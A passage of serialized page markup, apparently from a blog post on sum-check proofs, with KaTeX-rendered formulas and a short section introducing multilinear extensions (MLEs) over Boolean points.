":108621,"children":108623},{"className":108622},[1456],[108624],{"type":19,"tag":168,"props":108625,"children":108627},{"className":108626},[1461,19097],[108628,108657],{"type":19,"tag":168,"props":108629,"children":108631},{"className":108630},[1466],[108632,108652],{"type":19,"tag":168,"props":108633,"children":108635},{"className":108634,"style":91064},[1471],[108636],{"type":19,"tag":168,"props":108637,"children":108638},{"style":91068},[108639,108643],{"type":19,"tag":168,"props":108640,"children":108642},{"className":108641,"style":1481},[1480],[],{"type":19,"tag":168,"props":108644,"children":108646},{"className":108645},[1486,1487,1488,1489],[108647],{"type":19,"tag":168,"props":108648,"children":108650},{"className":108649},[1439,19043,1489],[108651],{"type":24,"value":1157},{"type":19,"tag":168,"props":108653,"children":108655},{"className":108654},[19200],[108656],{"type":24,"value":19203},{"type":19,"tag":168,"props":108658,"children":108660},{"className":108659},[1466],[108661],{"type":19,"tag":168,"props":108662,"children":108664},{"className":108663,"style":90618},[1471],[108665],{"type":19,"tag":168,"props":108666,"children":108667},{},[],{"type":19,"tag":168,"props":108669,"children":108671},{"className":108670},[19172],[108672],{"type":24,"value":500},{"type":19,"tag":168,"props":108674,"children":108676},{"className":108675},[1439],[108677,108682],{"type":19,"tag":168,"props":108678,"children":108680},{"className":108679,"style":90535},[1439,19043],[108681],{"type":24,"value":91354},{"type":19,"tag":168,"props":108683,"children":108685},{"className":108684},[1456],[108686],{"type":19,"tag":168,"props":108687,"children":108689},{"className":108688},[1461,19097],[108690,108719],{"type":19,"tag":168,"props":108691,"children":108693},{"className":108692},[1466],[108694,108714],{"type":19,"tag":168,"props":108695,"children":108697},{"className":108696,"style":91064},[1471],[108698],{"type":19,"tag":168,"props":108699,"children":108700},{"style":107533},[108701,108705],{"type":19,"tag":168,"props":108702,"children":108704},{"className":108703,"style":1481},[1480],[],{"type":19,"tag":168,"props":108706,"children":108708},{"className":108707},[1486,1487,1488,1489],[108709],{"type":19,"tag":168,"props":108710,"children":108712},{"className":108711},[1439,19043,1489],[108713],{"type":24,"value":1157},{"type":19,"tag":168,"props":108715,"children":108717},{"className":108716},[19200],[108718],{"type":24,"value":19203},{"type":19,"tag":168,"props":108720,"children":108722},{"className":108721},[1466],[108723],{"type":19,"tag":168,"props":108724,"children":108726},{"className":108725,"style":90618},[1471],[108727],{"type":19,"tag":168,"props":108728,"children":108729},{},[],{"type":19,"tag":168,"props":108731,"children":108733},{"className":108732},[19194],[108734],{"type":24,"value":524},{"type":19,"tag":168,"props":108736,"children":108738},{"className":108737,"style":1618},[1520],[],{"type":19,"tag":168,"props":108740,"children":108742},{"className":108741},[1623],[108743],{"type":24,"value":486},{"type":19,"tag":168,"props":108745,"children":108747},{"className":108746,"style":1618},[1520],[],{"type":19,"tag":168,"props":108749,"children":108751},{"className":108750},[1428],[108752,108756,108761,108765,108770],{"type":19,"tag":168,"props":108753,"children":108755},{"className":108754,"style":107689},[1433],[],{"type":19,"tag":168,"props":108757,"children":108759},{"className":108758},[1439,19043],[108760],{"type":24,"value":269},{"type":19,"tag":168,"props":108762,"children":108764},{"className":108763,"style":1521},[1520],[],{"type":19,"tag":168,"props":108766,"children":108768},{"className":108767},[1526],[108769],{"type":24,"value":1811},{"type":19,"tag":168,"props":108771,"children":108773},{"className":108772,"style":1521},[1520],[],{"type":19,"tag":168,"props":108775,"children":108777},{"className":108776},[1428],[108778,108782,108787,108791,108797],{"type":19,"tag":168,"props":108779,"children":108781},{"className":108780,"style":90450},[1433],[],{"type":19,"tag":168,"props":108783,"children":108785},{"className":108784},[1439,19043],[108786],{"type":24,"value":621},{"type":19,"tag":168,"props":108788,"children":108790},{"className":108789,"style":1521},[1520],[],{"type":19,"tag":168,"props":108792,"children":108794},{"className":108793},[1526],[108795],{"type":24,"value":108796},"⋅",{"type":19,"tag":168,"props":108798,"children":108800},{"className":108799,"style":1521},[1520],[],{"type":19,"tag":168,"props":108802,"children":108804},{"className":108803},[1428],[108805,108809,108866,108870,108875],{"type":19,"tag":168,"props":108806,"children":108808},{"className":108807,"style":107504},[1433],[],{"type":19,"tag":168,"props":108810,"children":108812},{"className":108811},[1439],[108813,108818],{"type":19,"tag":168,"props":108814,"children":108816},{"className":108815,"style":90535},[1439,19043],[108817],{"type":24,"value":91354},{"type":19,"tag":168,"props":108819,"children":108821},{"className":108820},[1456],[108822],{"type":19,"tag":168,"props":108823,"children":108825},{"className":108824},[1461,19097],[108826,108855],{"type":19,"tag":168,"props":108827,"children":108829},{"className":108828},[1466],[108830,108850],{"type":19,"tag":168,"props":108831,"children":108833},{"className":108832,"style":91064},[1471],[108834],{"type":19,"tag":168,"props":108835,"children":108836},{"style":107533},[108837,108841],{"type":19,"tag":168,"props":108838,"children":108840},{"className":108839,"style":1481},[1480],[],{"type":19,"tag":168,"props":108842,"children":108844},{"className":108843},[1486,1487,1488,1489],[108845],{"type":19,"tag":168,"props":108846,"children":108848},{"className":108847},[1439,19043,1489],[108849],{"type":24,"value":1157},{"type":19,"tag":168,"props":108851,"children":108853},{"className":108852},[19200],[108854],{"type":24,"value":19203},{"type":19,"tag":168,"props":108856,"children":108858},{"className":108857},[1466],[108859],{"type":19,"tag":168,"props":108860,"children":108862},{"className":108861,"style":90618},[1471],[108863],{"type":19,"tag":168,"props":108864,"children":108865},{},[],{"type":19,"tag":168,"props":108867,"children":108869},{"className":108868,"style":1618},[1520],[],{"type":19,"tag":168,"props":108871,"children":108873},{"className":108872},[1623],[108874],{"type":24,"value":486},{"type":19,"tag":168,"props":108876,"children":108878},{"className":108877,"style":1618},[1520],[],{"type":19,"tag":168,"props":108880,"children":108882},{"className":108881},[1428],[108883,108887,108892,108896,108901],{"type":19,"tag":168,"props":108884,"children":108886},{"className":108885,"style":107689},[1433],[],{"type":19,"tag":168,"props":108888,"children":108890},{"className":108889},[1439,19043],[108891],{"type":24,"value":269},{"type":19,"tag":168,"props":108893,"children":108895},{"className":108894,"style":1521},[1520],[],{"type":19,"tag":168,"props":108897,"children":108899},{"className":108898},[1526],[108900],{"type":24,"value":1811},{"type":19,"tag":168,"props":108902,"children":108904},{"className":108903,"style":1521},[1520],[],{"type":19,"tag":168,"props":108906,"children":108908},{"className":108907},[1428],[108909,108913,108918,108989,108993,108998],{"type":19,"tag":168,"props":108910,"children":108912},{"className":108911,"style":1541},[1433],[],{"type":19,"tag":168,"props":108914,"children":108916},{"className":108915},[19172],[108917],{"type":24,"value":500},{"type":19,"tag":168,"props":108919,"children":108921},{"className":108920},[1439],[108922,108927],{"type":19,"tag":168,"props":108923,"children":108925},{"className":108924,"style":90769},[1439,19043],[108926],{"type":24,"value":90772},{"type":19,"tag":168,"props":108928,"children":108930},{"className":108929},[1456],[108931],{"type":19,"tag":168,"props":108932,"children":108934},{"className":108933},[1461,19097],[108935,108978],{"type":19,"tag":168,"props":108936,"children":108938},{"className":108937},[1466],[108939,108973],{"type":19,"tag":168,"props":108940,"children":108942},{"className":108941,"style":91064},[1471],[108943],{"type":19,"tag":168,"props":108944,"children":108945},{"style":107963},[108946,108950],{"type":19,"tag":168,"props":108947,"children":108949},{"className":108948,"style":1481},[1480],[],{"type":19,"tag":168,"props":108951,"children":108953},{"className":108952},[1486,1487,1488,1489],[108954],{"type":19,"tag":168,"props":108955,"children":108957},{"className":108956},[1439,1489],[108958,108963,108968],{"type":19,"tag":168,"props":108959,"children":108961},{"className":108960},[1439,19043,1489],[108962],{"type":24,"value":1157},{"type":19,"tag":168,"props":108964,"children":108966},{"className":108965},[1526,1489],[108967],{"type":24,"value":1500},{"type":19,"tag":168,"props":108969,"children":108971},{"className":108970},[1439,1489],[108972],{"type":24,"value":1442},{"type":19,"tag":168,"props":108974,"children":108976},{"className":108975},[19200],[108977],{"type":24,"value":19203},{"type":19,"tag":168,"props":108979,"children":108981},{"className":108980},[1466],[108982],{"type":19,"tag":168,"props":108983,"children":108985},{"className":108984,"style":108004},[1471],[108986],{"type":19,"tag":168,"props":108987,"children":108988},{},[],{"type":19,"tag":168,"props":108990,"children":108992},{"className":108991,"style":1521},[1520],[],{"type":19,"tag":168,"props":108994,"children":108996},{"className":108995},[1526],[108997],{"type":24,"value":1500},{"type":19,"tag":168,"props":108999,"children":109001},{"className":109000,"style":1521},[1520],[],{"type":19,"tag":168,"props":109003,"children":109005},{"className":109004},[1428],[109006,109010,109015,109020,109025,109029,109034],{"type":19,"tag":168,"props":109007,"children":109009},{"className":109008,"style":1541},[1433],[],{"type":19,"tag":168,"props":109011,"children":109013},{"className":109012},[1439],[109014],{"type":24,"value":519},{"type":19,"tag":168,"props":109016,"children":109018},{"className":109017},[1439,19043],[109019],{"type":24,"value":269},{"type":19,"tag":168,"props":109021,"children":109023},{"className":109022},[19194],[109024],{"type":24,"value":524},{"type":19,"tag":168,"props":109026,"children":109028},{"className":109027,"style":1521},[1520],[],{"type":19,"tag":168,"props":109030,"children":109032},{"className":109031},[1526],[109033],{"type":24,"value":108796},{"type":19,"tag":168,"props":109035,"children":109037},{"className":109036,"style":1521},[1520],[],{"type":19,"tag":168,"props":109039,"children":109041},{"className":109040},[1428],[109042,109046,109103,109107,109112],{"type":19,"tag":168,"props":109043,"children":109045},{"className":109044,"style":107504},[1433],[],{"type":19,"tag":168,"props":109047,"children":109049},{"className":109048},[1439],[109050,109055],{"type":19,"tag":168,"props":109051,"children":109053},{"className":109052,"style":90535},[1439,19043],[109054],{"type":24,"value":91354},{"type":19,"tag":168,"props":109056,"children":109058},{"className":109057},[1456],[109059],{"type":19,"tag":168,"props":109060,"children":109062},{"className":109061},[1461,19097],[109063,109092],{"type":19,"tag":168,"props":109064,"children":109066},{"className":109065},[1466],[109067,109087],{"type":19,"tag":168,"props":109068,"children":109070},{"className":109069,"style":91064},[1471],[109071],{"type":19,"tag":168,"props":109072,"children":109073},{"style":107533},[109074,109078],{"type":19,"tag":168,"props":109075,"children":109077},{"className":109076,"style":1481},[1480],[],{"type":19,"tag":168,"props":109079,"children":109081},{"className":109080},[1486,1487,1488,1489],[109082],{"type":19,"tag":168,"props":109083,"children":109085},{"className":109084},[1439,19043,1489],[109086],{"type":24,"value":1157},{"type":19,"tag":168,"props":109088,"children":109090},{"className":109089},[19200],[109091],{"type":24,"value":19203},{"type":19,"tag":168,"props":109093,"children":109095},{"className":109094},[1466],[109096],{"type":19,"tag":168,"props":109097,"children":109099},{"className":109098,"style":90618},[1471],[109100],{"type":19,"tag":168,"props":109101,"children":109102},{},[],{"type":19,"tag":168,"props":109104,"children":109106},{"className":109105,"style":1618},[1520],[],{"type":19,"tag":168,"props":109108,"children":109110},{"className":109109},[1623],[109111],{"type":24,"value":486},{"type":19,"tag":168,"props":109113,"children":109115},{"className":109114,"style":1618},[1520],[],{"type":19,"tag":168,"props":109117,"children":109119},{"className":109118},[1428],[109120,109124,109129,109134,109139,109143,109148],{"type":19,"tag":168,"props":109121,"children":109123},{"className":109122,"style":1541},[1433],[],{"type":19,"tag":168,"props":109125,"children":109127},{"className":109126},[1439,19043],[109128],{"type":24,"value":269},{"type":19,"tag":168,"props":109130,"children":109132},{"className":109131},[19172],[109133],{"type":24,"value":500},{"type":19,"tag":168,"props":109135,"children":109137},{"className":109136},[1439],[109138],{"type":24,"value":1442},{"type":19,"tag":168,"props":109140,"children":109142},{"className":109141,"style":1521},[1520],[],{"type":19,"tag":168,"props":109144,"children":109146},{"className":109145},[1526],[109147],{"type":24,"value":1500},{"type":19,"tag":168,"props":109149,"children":109151},{"className":109150,"style":1521},[1520],[],{"type":19,"tag":168,"props":109153,"children":109155},{"className":109154},[1428],[109156,109160,109165,109222,109227,109231,109236],{"type":19,"tag":168,"props":109157,"children":109159},{"className":109158,"style":1541},[1433],[],{"type":19,"tag":168,"props":109161,"children":109163},{"className":109162},[1439],[109164],{"type":24,"value":519},{"type":19,"tag":168,"props":109166,"children":109168},{"className":109167},[1439],[109169,109174],{"type":19,"tag":168,"props":109170,"children":109172},{"className":109171,"style":90535},[1439,19043],[109173],{"type":24,"value":91354},{"type":19,"tag":168,"props":109175,"children":109177},{"className":109176},[1456],[109178],{"type":19,"tag":168,"props":109179,"children":109181},{"className":109180},[1461,19097],[109182,109211],{"type":19,"tag":168,"props":109183,"children":109185},{"className":109184},[1466],[109186,109206],{"type":19,"tag":168,"props":109187,"children":109189},{"className":109188,"style":91064},[1471],[109190],{"type":19,"tag":168,"props":109191,"children":109192},{"style":107533},[109193,109197],{"type":19,"tag":168,"props":109194,"children":109196},{"className":109195,"style":1481},[1480],[],{"type":19,"tag":168,"props":109198,"children":109200},{"className":109199},[1486,1487,1488,1489],[109201],{"type":19,"tag":168,"props":109202,"children":109204},{"className":109203},[1439,19043,1489],[109205],{"type":24,"value":1157},{"type":19,"tag":168,"props":109207,"children":109209},{"className":109208},[19200],[109210],{"type":24,"value":19203},{"type":19,"tag":168,"props":109212,"children":109214},{"className":109213},[1466],[109215],{"type":19,"tag":168,"props":109216,"children":109218},{"className":109217,"style":90618},[1471],[109219],{"type":19,"tag":168,"props":109220,"children":109221},{},[],{"type":19,"tag":168,"props":109223,"children":109225},{"className":109224},[19194],[109226],{"type":24,"value":524},{"type":19,"tag":168,"props":109228,"children":109230},{"className":109229,"style":1521},[1520],[],{"type":19,"tag":168,"props":109232,"children":109234},{"className":109233},[1526],[109235],{"type":24,"value":1811},{"type":19,"tag":168,"props":109237,"children":109239},{"className":109238,"style":1521},[1520],[],{"type":19,"tag":168,"props":109241,"children":109243},{"className":109242},[1428],[109244,109248,109319,109323,109328],{"type":19,"tag":168,"props":109245,"children":109247},{"className":109246,"style":107934},[1433],[],{"type":19,"tag":168,"props":109249,"children":109251},{"className":109250},[1439],[109252,109257],{"type":19,"tag":168,"props":109253,"children":109255},{"className":109254,"style":90769},[1439,19043],[109256],{"type":24,"value":90772},{"type":19,"tag":168,"props":109258,"children":109260},{"className":109259},[1456],[109261],{"type":19,"tag":168,"props":109262,"children":109264},{"className":109263},[1461,19097],[109265,109308],{"type":19,"tag":168,"props":109266,"children":109268},{"className":109267},[1466],[109269,109303],{"type":19,"tag":168,"props":109270,"children":109272},{"className":109271,"style":91064},[1471],[109273],{"type":19,"tag":168,"props":109274,"children":109275},{"style":107963},[109276,109280],{"type":19,"tag":168,"props":109277,"children":109279},{"className":109278,"style":1481},[1480],[],{"type":19,"tag":168,"props":109281,"children":109283},{"className":109282},[1486,1487,1488,1489],[109284],{"type":19,"tag":168,"props":109285,"children":109287},{"className":109286},[1439,1489],[109288,109293,109298],{"type":19,"tag":168,"props":109289,"children":109291},{"className":109290},[1439,19043,1489],[109292],{"type":24,"value":1157},{"type":19,"tag":168,"props":109294,"children":109296},{"className":109295},[1526,1489],[109297],{"type":24,"value":1500},{"type":19,"tag":168,"props":109299,"children":109301},{"className":109300},[1439,1489],[109302],{"type":24,"value":1442},{"type":19,"tag":168,"props":109304,"children":109306},{"className":109305},[19200],[109307],{"type":24,"value":19203},{"type":19,"tag":168,"props":109309,"children":109311},{"className":109310},[1466],[109312],{"type":19,"tag":168,"props":109313,"children":109315},{"className":109314,"style":108004},[1471],[109316],{"type":19,"tag":168,"props":109317,"children":109318},{},[],{"type":19,"tag":168,"props":109320,"children":109322},{"className":109321,"style":1521},[1520],[],{"type":19,"tag":168,"props":109324,"children":109326},{"className":109325},[1526],[109327],{"type":24,"value":108796},{"type":19,"tag":168,"props":109329,"children":109331},{"className":109330,"style":1521},[1520],[],{"type":19,"tag":168,"props":109333,"children":109335},{"className":109334},[1428],[109336,109340],{"type":19,"tag":168,"props":109337,"children":109339},{"className":109338,"style":107504},[1433],[],{"type":19,"tag":168,"props":109341,"children":109343},{"className":109342},[1439],[109344,109349],{"type":19,"tag":168,"props":109345,"children":109347},{"className":109346,"style":90535},[1439,19043],[109348],{"type":24,"value":91354},{"type":19,"tag":168,"props":109350,"children":109352},{"className":109351},[1456],[109353],{"type":19,"tag":168,"props":109354,"children":109356},{"className":109355},[1461,19097],[109357,109386],{"type":19,"tag":168,"props":109358,"children":109360},{"className":109359},[1466],[109361,109381],{"type":19,"tag":168,"props":109362,"children":109364},{"className":109363,"style":91064},[1471],[109365],{"type":19,"tag":168,"props":109366,"children":109367},{"style":107533},[109368,109372],{"type":19,"tag":168,"props":109369,"children":109371},{"className":109370,"style":1481},[1480],[],{"type":19,"tag":168,"props":109373,"children":109375},{"className":109374},[1486,1487,1488,1489],[109376],{"type":19,"tag":168,"props":109377,"children":109379},{"className":109378},[1439,19043,1489],[109380],{"type":24,"value":1157},{"type":19,"tag":168,"props":109382,"children":109384},{"className":109383},[19200],[109385],{"type":24,"value":19203},{"type":19,"tag":168,"props":109387,"children":109389},{"className":109388},[1466],[109390],{"type":19,"tag":168,"props":109391,"children":109393},{"className":109392,"style":90618},[1471],[109394],{"type":19,"tag":168,"props":109395,"children":109396},{},[],{"type":19,"tag":20,"props":109398,"children":109399},{},[109400,109401,109497,109499,109524,109526,109551],{"type":24,"value":43617},{"type":19,"tag":51,"props":109402,"children":109403},{},[109404,109406],{"type":24,"value":109405},"linear in ",{"type":19,"tag":27,"props":109407,"children":109409},{"className":109408},[1411,1412],[109410],{"type":19,"tag":168,"props":109411,"children":109413},{"className":109412},[1417],[109414],{"type":19,"tag":168,"props":109415,"children":109417},{"className":109416,"ariaHidden":1423},[1422],[109418],{"type":19,"tag":168,"props":109419,"children":109421},{"className":109420},[1428],[109422,109426],{"type":19,"tag":168,"props":109423,"children":109425},{"className":109424,"style":107934},[1433],[],{"type":19,"tag":168,"props":109427,"children":109429},{"className":109428},[1439],[109430,109435],{"type":19,"tag":168,"props":109431,"children":109433},{"className":109432,"style":90769},[1439,19043],[109434],{"type":24,"value":90772},{"type":19,"tag":168,"props":109436,"children":109438},{"className":109437},[1456],[109439],{"type":19,"tag":168,"props":109440,"children":109442},{"className":109441},[1461,19097],[109443,109486],{"type":19,"tag":168,"props":109444,"children":109446},{"className":109445},[1466],[109447,109481],{"type":19,"tag":168,"props":109448,"children":109450},{"className":109449,"style":91064},[1471],[109451],{"type":19,"tag":168,"props":109452,"children":109453},{"style":107963},[109454,109458],{"type":19,"tag":168,"props":109455,"children":109457},{"className":109456,"style":1481},[1480],[],{"type":19,"tag":168,"props":109459,"children":109461},{"className":109460},[1486,1487,1488,1489],[109462],{"type":19,"tag":168,"props":109463,"children":109465},{"className":109464},[1439,1489],[109466,109471,109476],{"type":19,"tag":168,"props":109467,"children":109469},{"className":109468},[1439,19043,1489],[109470],{"type":24,"value":1157},{"type":19,"tag":168,"props":109472,"children":109474},{"className":109473},[1526,1489],[109475],{"type":24,"value":1500},{"type":19,"tag":168,"props":109477,"children":109479},{"className":109478},[1439,1489],[109480],{"type":24,"value":1442},{"type":19,"tag":168,"props":109482,"children":109484},{"className":109483},[19200],[109485],{"type":24,"value":19203},{"type":19,"tag":168,"props":109487,"children":109489},{"className":109488},[1466],[109490],{"type":19,"tag":168,"props":109491,"children":109493},{"className":109492,"style":108004},[1471],[109494],{"type":19,"tag":168,"props":109495,"children":109496},{},[],{"type":24,"value":109498},"! By induction, the final claim is linear in the original ",{"type":19,"tag":27,"props":109500,"children":109502},{"className":109501},[1411,1412],[109503],{"type":19,"tag":168,"props":109504,"children":109506},{"className":109505},[1417],[109507],{"type":19,"tag":168,"props":109508,"children":109510},{"className":109509,"ariaHidden":1423},[1422],[109511],{"type":19,"tag":168,"props":109512,"children":109514},{"className":109513},[1428],[109515,109519],{"type":19,"tag":168,"props":109516,"children":109518},{"className":109517,"style":19038},[1433],[],{"type":19,"tag":168,"props":109520,"children":109522},{"className":109521,"style":90769},[1439,19043],[109523],{"type":24,"value":90772},{"type":24,"value":109525},". If ",{"type":19,"tag":27,"props":109527,"children":109529},{"className":109528},[1411,1412],[109530],{"type":19,"tag":168,"props":109531,"children":109533},{"className":109532},[1417],[109534],{"type":19,"tag":168,"props":109535,"children":109537},{"className":109536,"ariaHidden":1423},[1422],[109538],{"type":19,"tag":168,"props":109539,"children":109541},{"className":109540},[1428],[109542,109546],{"type":19,"tag":168,"props":109543,"children":109545},{"className":109544,"style":19038},[1433],[],{"type":19,"tag":168,"props":109547,"children":109549},{"className":109548,"style":90769},[1439,19043],[109550],{"type":24,"value":90772},{"type":24,"value":109552}," isn't in the transcript, we can solve for it.",{"type":19,"tag":7050,"props":109554,"children":109556},{"id":109555},"multilinear-extensions-mles",[109557],{"type":24,"value":109558},"Multilinear Extensions (MLEs)",{"type":19,"tag":20,"props":109560,"children":109561},{},[109562,109564,109649],{"type":24,"value":109563},"An MLE is just the polynomial view of a table over ",{"type":19,"tag":27,"props":109565,"children":109567},{"className":109566},[1411,1412],[109568],{"type":19,"tag":168,"props":109569,"children":109571},{"className":109570},[1417],[109572],{"type":19,"tag":168,"props":109573,"children":109575},{"className":109574,"ariaHidden":1423},[1422],[109576],{"type":19,"tag":168,"props":109577,"children":109579},{"className":109578},[1428],[109580,109584,109589,109594,109599,109603,109608],{"type":19,"tag":168,"props":109581,"children":109583},{"className":109582,"style":1541},[1433],[],{"type":19,"tag":168,"props":109585,"children":109587},{"className":109586},[19172],[109588],{"type":24,"value":74107},{"type":19,"tag":168,"props":109590,"children":109592},{"className":109591},[1439],[109593],{"type":24,"value":1452},{"type":19,"tag":168,"props":109595,"children":109597},{"className":109596},[1552],[109598],{"type":24,"value":1555},{"type":19,"tag":168,"props":109600,"children":109602},{"className":109601,"style":1559},[1520],[],{"type":19,"tag":168,"props":109604,"children":109606},{"className":109605},[1439],[109607],{"type":24,"value":1442},{"type":19,"tag":168,"props":109609,"children":109611},{"className":109610},[19194],[109612,109617],{"type":19,"tag":168,"props":109613,"children":109615},{"className":109614},[19194],[109616],{"type":24,"value":31614},{"type":19,"tag":168,"props":109618,"children":109620},{"className":109619},[1456],[109621],{"type":19,"tag":168,"props":109622,"children":109624},{"className":109623},[1461],[109625],{"type":19,"tag":168,"props":109626,"children":109628},{"className":109627},[1466],[109629],{"type":19,"tag":168,"props":109630,"children":109632},{"className":109631,"style":106251},[1471],[109633],{"type":19,"tag":168,"props":109634,"children":109635},{"style":1475},[109636,109640],{"type":19,"tag":168,"props":109637,"children":109639},{"className":109638,"style":1481},[1480],[],{"type":19,"tag":168,"props":109641,"children":109643},{"className":109642},[1486,1487,1488,1489],[109644],{"type":19,"tag":168,"props":109645,"children":109647},{"className":109646},[1439,19043,1489],[109648],{"type":24,"value":53887},{"type":24,"value":109650},": it matches the table on Boolean points and extends it to field points.",{"type":19,"tag":20,"props":109652,"children":109653},{},[109654],{"type":24,"value":109655},"For this post, the only property you need is:",{"type":19,"tag":20,"props":109657,"children":109658},{},[109659],{"type":19,"tag":27,"props":109660,"children":109662},{"className":109661},[1411,1412],[109663],{"type":19,"tag":168,"props":109664,"children":109666},{"className":109665},[1417],[109667],{"type":19,"tag":168,"props":109668,"children":109670},{"className":109669,"ariaHidden":1423},[1422],[109671,109833,110105],{"type":19,"tag":168,"props":109672,"children":109674},{"className":109673},[1428],[109675,109680,109749,109754,109815,109820,109824,109829],{"type":19,"tag":168,"props":109676,"children":109679},{"className":109677,"style":109678},[1433],"height:1.1813em;vertical-align:-0.25em;",[],{"type":19,"tag":168,"props":109681,"children":109684},{"className":109682},[1439,109683],"accent",[109685],{"type":19,"tag":168,"props":109686,"children":109688},{"className":109687},[1461,19097],[109689,109737],{"type":19,"tag":168,"props":109690,"children":109692},{"className":109691},[1466],[109693,109732],{"type":19,"tag":168,"props":109694,"children":109697},{"className":109695,"style":109696},[1471],"height:0.9313em;",[109698,109712],{"type":19,"tag":168,"props":109699,"children":109701},{"style":109700},"top:-3em;",[109702,109707],{"type":19,"tag":168,"props":109703,"children":109706},{"className":109704,"style":109705},[1480],"height:3em;",[],{"type":19,"tag":168,"props":109708,"children":109710},{"className":109709,"style":92889},[1439,19043],[109711],{"type":24,"value":30558},{"type":19,"tag":168,"props":109713,"children":109715},{"style":109714},"top:-3.6134em;",[109716,109720],{"type":19,"tag":168,"props":109717,"children":109719},{"className":109718,"style":109705},[1480],[],{"type":19,"tag":168,"props":109721,"children":109725},{"className":109722,"style":109724},[109723],"accent-body","left:-0.0833em;",[109726],{"type":19,"tag":168,"props":109727,"children":109729},{"className":109728},[1439],[109730],{"type":24,"value":109731},"~",{"type":19,"tag":168,"props":109733,"children":109735},{"className":109734},[19200],[109736],{"type":24,"value":19203},{"type":19,"tag":168,"props":109738,"children":109740},{"className":109739},[1466],[109741],{"type":19,"tag":168,"props":109742,"children":109745},{"className":109743,"style":109744},[1471],"height:0.1944em;",[109746],{"type":19,"tag":168,"props":109747,"children":109748},{},[],{"type":19,"tag":168,"props":109750,"children":109752},{"className":109751},[19172],[109753],{"type":24,"value":500},{"type":19,"tag":168,"props":109755,"children":109757},{"className":109756},[1439,109683],[109758],{"type":19,"tag":168,"props":109759,"children":109761},{"className":109760},[1461],[109762],{"type":19,"tag":168,"props":109763,"children":109765},{"className":109764},[1466],[109766],{"type":19,"tag":168,"props":109767,"children":109770},{"className":109768,"style":109769},[1471],"height:0.714em;",[109771,109783],{"type":19,"tag":168,"props":109772,"children":109773},{"style":109700},[109774,109778],{"type":19,"tag":168,"props":109775,"children":109777},{"className":109776,"style":109705},[1480],[],{"type":19,"tag":168,"props":109779,"children":109781},{"className":109780,"style":90535},[1439,19043],[109782],{"type":24,"value":91354},{"type":19,"tag":168,"props":109784,"children":109785},{"style":109700},[109786,109790],{"type":19,"tag":168,"props":109787,"children":109789},{"className":109788,"style":109705},[1480],[],{"type":19,"tag":168,"props":109791,"children":109794},{"className":109792,"style":109793},[109723],"left:-0.1799em;",[109795],{"type":19,"tag":168,"props":109796,"children":109800},{"className":109797,"style":109799},[109798],"overlay","height:0.714em;width:0.471em;",[109801],{"type":19,"tag":31747,"props":109802,"children":109809},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[109810],{"type":19,"tag":109811,"props":109812,"children":109814},"path",{"d":109813},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":19,"tag":168,"props":109816,"children":109818},{"className":109817},[19194],[109819],{"type":24,"value":524},{"type":19,"tag":168,"props":109821,"children":109823},{"className":109822,"style":1618},[1520],[],{"type":19,"tag":168,"props":109825,"children":109827},{"className":109826},[1623],[109828],{"type":24,"value":486},{"type":19,"tag":168,"props":109830,"children":109832},{"className":109831,"style":1618},[1520],[],{"type":19,"tag":168,"props":109834,"children":109836},{"className":109835},[1428],[109837,109842,110023,110027,110032,110037,110087,110092,110096,110101],{"type":19,"tag":168,"props":109838,"children":109841},{"className":109839,"style":109840},[1433],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":19,"tag":168,"props":109843,"children":109845},{"className":109844},[19079],[109846,109851],{"type":19,"tag":168,"props":109847,"children":109849},{"className":109848,"style":19086},[19079,19084,19085],[109850],{"type":24,"value":106329},{"type":19,"tag":168,"props":109852,"children":109854},{"className":109853},[1456],[109855],{"type":19,"tag":168,"props":109856,"children":109858},{"className":109857},[1461,19097],[109859,110011],{"type":19,"tag":168,"props":109860,"children":109862},{"className":109861},[1466],[109863,110006],{"type":19,"tag":168,"props":109864,"children":109867},{"className":109865,"style":109866},[1471],"height:0.3448em;",[109868],{"type":19,"tag":168,"props":109869,"children":109871},{"style":109870},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[109872,109876],{"type":19,"tag":168,"props":109873,"children":109875},{"className":109874,"style":1481},[1480],[],{"type":19,"tag":168,"props":109877,"children":109879},{"className":109878},[1486,1487,1488,1489],[109880],{"type":19,"tag":168,"props":109881,"children":109883},{"className":109882},[1439,1489],[109884,109938,109943,109948,109953,109958,109963],{"type":19,"tag":168,"props":109885,"children":109887},{"className":109886},[1439,109683,1489],[109888],{"type":19,"tag":168,"props":109889,"children":109891},{"className":109890},[1461],[109892],{"type":19,"tag":168,"props":109893,"children":109895},{"className":109894},[1466],[109896],{"type":19,"tag":168,"props":109897,"children":109900},{"className":109898,"style":109899},[1471],"height:0.9774em;",[109901,109915],{"type":19,"tag":168,"props":109902,"children":109904},{"style":109903},"top:-2.714em;",[109905,109910],{"type":19,"tag":168,"props":109906,"children":109909},{"className":109907,"style":109908},[1480],"height:2.714em;",[],{"type":19,"tag":168,"props":109911,"children":109913},{"className":109912},[1439,19043,1489],[109914],{"type":24,"value":621},{"type":19,"tag":168,"props":109916,"children":109918},{"style":109917},"top:-2.9774em;",[109919,109923],{"type":19,"tag":168,"props":109920,"children":109922},{"className":109921,"style":109908},[1480],[],{"type":19,"tag":168,"props":109924,"children":109927},{"className":109925,"style":109926},[109723],"left:-0.2355em;",[109928],{"type":19,"tag":168,"props":109929,"children":109931},{"className":109930,"style":109799},[109798,1489],[109932],{"type":19,"tag":31747,"props":109933,"children":109934},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[109935],{"type":19,"tag":109811,"props":109936,"children":109937},{"d":109813},[],{"type":19,"tag":168,"props":109939,"children":109941},{"className":109940},[1623,1489],[109942],{"type":24,"value":19150},{"type":19,"tag":168,"props":109944,"children":109946},{"className":109945},[19172,1489],[109947],{"type":24,"value":74107},{"type":